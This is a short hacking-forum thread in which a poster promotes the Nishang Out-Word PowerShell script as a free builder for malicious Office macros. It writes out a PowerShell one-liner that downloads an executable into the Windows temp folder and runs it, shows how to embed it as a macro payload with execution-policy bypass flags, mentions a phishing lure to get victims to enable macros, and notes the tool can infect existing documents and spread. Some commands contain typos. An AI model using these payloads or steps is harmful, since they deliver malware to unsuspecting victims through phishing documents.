

Forum: [Hack Forums](#)

Thread: [Open Source Office Macro Builder -- Nishang Out-Word](#)

Unit 61398 - December 13, 2016, 7:25 pm

Stop Paying for Macro builders, when you could get it for free and open source.

Part of Nishang, a framework of powershell tools for pen testing.

Doc Macro builder: <https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1>

Powershell command to download to temp folder and run:

```
(New-Object  
System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe'
```

kauf - December 14, 2016, 8:42 am

more explanation on how this can be used. just a .ps1 on github

Unit 61398 - December 14, 2016, 10:34 am

Download the file then open a powershell terminal cd into the download folder and "include" the file by running

```
.. \Out-Word.ps1
```

Then you can run it with any parameters by
Out-File -Payload "powershell.exe -noni -exec bypass -nop (New-Object
System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe' -OurputFile test.doc

It includes a simple phishing page to get the user to enable macros, but you would want to replace this with something more better

Here is a decent guide: http://www.labofapenetrationtester.com/2014_11_01_archive.html

It can also "infect" regular .docs and can be executed client side to spread the virus

CichyCichoCiemny - December 14, 2016, 11:40 am

Looks cool.